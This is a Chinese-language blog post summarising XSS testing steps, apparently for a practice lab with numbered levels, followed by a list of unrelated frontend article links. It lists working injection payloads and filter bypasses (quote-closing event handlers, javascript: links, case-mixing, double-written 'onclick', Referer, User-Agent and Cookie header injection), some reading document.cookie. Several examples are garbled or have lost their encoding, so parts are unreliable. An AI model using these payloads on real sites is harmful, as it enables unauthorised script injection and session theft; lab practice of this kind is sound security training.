xss测试步骤总结

文章目录

测试流程

先看bp

再看回显

测试常规xss语句

接着看F12上下文

然后是构造闭合

最后是依次测试绕过方法

成功的时候要能得到一个可以复现的url

1.开启burp

正常输入看响应包和发送包有没有相同点

如果没有进入第二步

2.测试常规xss语句

一般选即可,或,或 οnclick=alert(document.cookie)

只用做轮子测试,如果还不行,进入下一步

3.观察回显

比如上一步中输入,输入框回显异常

4.测试闭合与绕过

Level2

F12观察输入框位置上下文

可以发现语句存在需要闭合的地方,改成"><img src="javascript:alert('XSS')后语句看起来才正常

所以轮子应该类似">{javascript}

Level3

">//

此处使用了htmlspecialchars转义了<>等特殊字符,使得尖括号里的代码不能执行,如果找不到绕过方法,只能执行事件函数,比如onclick,直接结束

&:转换为&

":转换为"

':转换为成为 '

<:转换为<

:转换为>

由上可以看出单引号没有转义,可以用它来做闭合

Level4

同上

Level5

发现过滤了on,会在on之间插入_,ri也被过滤

因此只能找不带on和

Level6

这关链接也被过滤,但是可以通过大小写绕过

" oNclick=alert(document.cookie) "

总结:xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

Level7

多写绕过

" oonnclick=alert(document.cookie) "

以此步骤测试,先看bp,再看回显,接着看F12,然后是看闭合,最后是依次测试绕过方法

5.xss绕过方法

1)测试需观察点

浏览器左下角查看器,查找注入点所在代码

burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息

xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

2)无过滤法

3)">闭合

">

4)单引号闭合+事件函数

' οnclick=' alert("123");

5)双引号闭合+事件函数

" οnclick=alert('123');"

6)引号闭合+链接

"><a href=javascript:alert('xss')>xss

7)大小写绕过

"><a hRef=javascript:alert('xss')>xss

8)多写绕过

" oonnclick=alert('123');"

9)unicode编码

javascript:alert('xss')

javascrIpt:alert('xss')

10)unicode编码+//注释

javascript:alert('xss')//http://www.baidu.com

javascript:alert('xss')//http://

11)隐藏标签赋值

t_sort=123" type="" οnclick="alert('xss')

12)referer注入

" type="" οnclick="alert(document.cookie)

13)UA头注入

" type="" οnclick="alert(document.cookie)

14)Cookie注入

" οnclick="alert('xss') type="

15)`替换()

16)实体编码绕过

https://www.qqxiuzi.cn/bianma/zifushiti.php

17)--!>注释绕过

注释方式有两种:

相关推荐
流烟默32 分钟前
vue和微信小程序处理markdown格式数据
前端·vue.js·微信小程序
梨落秋溪、40 分钟前
输入框元素覆盖冲突
java·服务器·前端
菲力蒲LY1 小时前
vue 手写分页
前端·javascript·vue.js
天下皆白_唯我独黑1 小时前
npm 安装扩展遇到证书失效解决方案
前端·npm·node.js
~欸嘿1 小时前
Could not download npm for node v14.21.3(nvm无法下载节点v14.21.3的npm)
前端·npm·node.js
化作繁星2 小时前
React 高阶组件的优缺点
前端·javascript·react.js
zpjing~.~2 小时前
vue 父组件和子组件中v-model和props的使用和区别
前端·javascript·vue.js
做一颗卷心菜2 小时前
Promise
开发语言·前端·javascript
bin91532 小时前
DeepSeek 助力 Vue 开发:打造丝滑的 键盘快捷键(Keyboard Shortcuts)
前端·javascript·vue.js·计算机外设·ecmascript·deepseek
格式化小拓2 小时前
在vue2中操作数组,如何保证其视图的响应式
前端·javascript·vue.js